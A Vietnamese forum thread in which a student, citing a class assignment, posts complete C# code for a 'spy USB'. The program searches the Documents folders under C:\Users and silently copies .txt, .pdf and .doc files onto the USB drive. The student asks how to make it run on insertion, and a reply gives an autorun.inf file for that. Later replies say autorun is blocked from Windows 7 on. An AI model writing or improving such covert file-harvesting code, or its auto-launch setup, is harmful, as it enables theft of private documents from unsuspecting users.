Cần autorun cho chương trình USB gián điệp

Thầy giáo mìn giao đề tài tạo một usb có khả năng sao chép file văn bản tự động.Mình vừa viết một chương trinh usb gián điệp. Mô tả việc một usb khi cắm vào máy tính , một chương trình có sẵn trong usb sẽ tự động tìm đến các thư mục document trong ổ C . Rùi sau đó tự động sao chép các file văn bản vào usb.
Nói chung mình làm hết các bước trên rùi . Vấn đề là chương trình của mình phải đk kích hoạt thì nó mới chạy , tức là click vào biểu tượng file .exe . Nhưng thầy bảo cái này phải tự động chứ ko cần thao tác của ng. Mình có nghe ns về autorun nhưng không biết làm như thế nào. Ai biết tạo một autorun kiểu gì không giúp mình với
Đây là bài code sử dụng C# của mình

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace Coppy_USB
{
    class Program
    {
        private string[] str_path = new string[100];
        private string[] usb = new string[20];
        private int count = 0;
        private int count_driver = 0;
        public Program()
        {
            DriveInfo[] driverinf = DriveInfo.GetDrives();
            for (int i = 0; i < driverinf.Length; i++)
            {
                Console.WriteLine(driverinf[i].Name);
                usb[i] = driverinf[i].Name;
            }
            count_driver = driverinf.Length;
        } //tim duong dan USB
        public void FindPath()
        {
            DirectoryInfo dir = new DirectoryInfo("C:\\Users");
            Queue<DirectoryInfo> HangDoi = new Queue<DirectoryInfo>();
            HangDoi.Enqueue(dir);
            while (HangDoi.Count != 0)
            {
                DirectoryInfo folder = HangDoi.Dequeue();
                if (folder.Name.ToString().ToUpper().Equals("DOCUMENTS"))
                {
                    str_path[count++] = folder.FullName;
                }
                try
                {
                    DirectoryInfo[] dirs = folder.GetDirectories();
                    foreach (DirectoryInfo i in dirs)
                    {
                        HangDoi.Enqueue(i);
                    }
                }
                catch
                {
                    continue;
                }
            }
        } //tim thu muc document
        public void FindFile() // tim file van ban
        {
            for (int i = 0; i < count; i++)
            {
                Console.WriteLine(str_path[i]);
                DirectoryInfo dir = new DirectoryInfo(str_path[i]);
                try
                {
                    FileInfo[] fileinf = dir.GetFiles();
                    {
                        foreach (FileInfo j in fileinf)
                        {
                            string extra = j.Extension.ToString();
                            Console.WriteLine(j.Name);
                            if (extra == ".txt" || extra == ".pdf" || extra == ".doc")
                            {
                                for (int k = 0; k < count_driver; k++)
                                {
                                    try
                                    {
                                        j.CopyTo(@usb[k] + j.Name);
                                    }
                                    catch
                                    {
                                        continue;
                                    }
                                }
                            }
                        }
                    }
                }
                catch
                {
                    continue;
                }
            }
        }
        static void Main(string[] args)
        {
            Program usbcpp = new Program();
            usbcpp.FindPath();
            usbcpp.FindFile();
            Console.WriteLine("OK!");
            Console.ReadLine();
        }
    }
}

Xem ở đây thử: http://www.allusb.com/usb-explained/usb-autorun

1 Like

Có file exe rồi thì cần tạo file autorun.inf nữa.

Mở notepad rồi paste đoạn này vào rồi lưu là autorun.inf bỏ cùng file exe vào thư mục gốc USB. Ví dụ file exe có tên app.exe

[autorun]
open=app.exe
autorun=app.exe
shellexecute=app.exe
2 Likes

Sao mình làm như vậy rùi mà khi cắm usb vào chả thấy động tĩnh j cả

Phải click đúp vào USB :smile:

1 Like

Mình còn chưa kịp click đúng thì USB nó đã show cho mình 2 file một file exe và một file inf rùi . Mình dùng win 10 , ko biết nó có chặn autorun ko nữa

Bạn đã bật chế độ tự động mở USB bằng Windows Explorer rồi.

mình nhớ là autorun bị bỏ từ win7 rồi cách này chỉ còn tác dụng trên xp thôi

Cho mình hỏi thế chương trình này bạn có cần setup driver của usb không hay chỉ cần để chương trình này trong usb thôi vây.

Không cần nhé!
chương trình của mình chỉ là bạn click vào file .exe trong usb ấy( Sau khi build ra đk file .exe mà) thì nó sẽ tự dộng quét toàn bộ thư mục ổ C: của máy tính ( Thích thì tất cả các ổ cũng đk ) rùi sao chép các file pdf,doc,txt vào usb thui . Nhưng mình vướng ở chỗ ko kích hoạt autorun đk nên ng dùng phải click vào file .exe n mới chạy

1 Like

win 7 trở đi cấm autorun cho usb rồi bác ạ muốn thì dùng đĩa CD thôi

83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?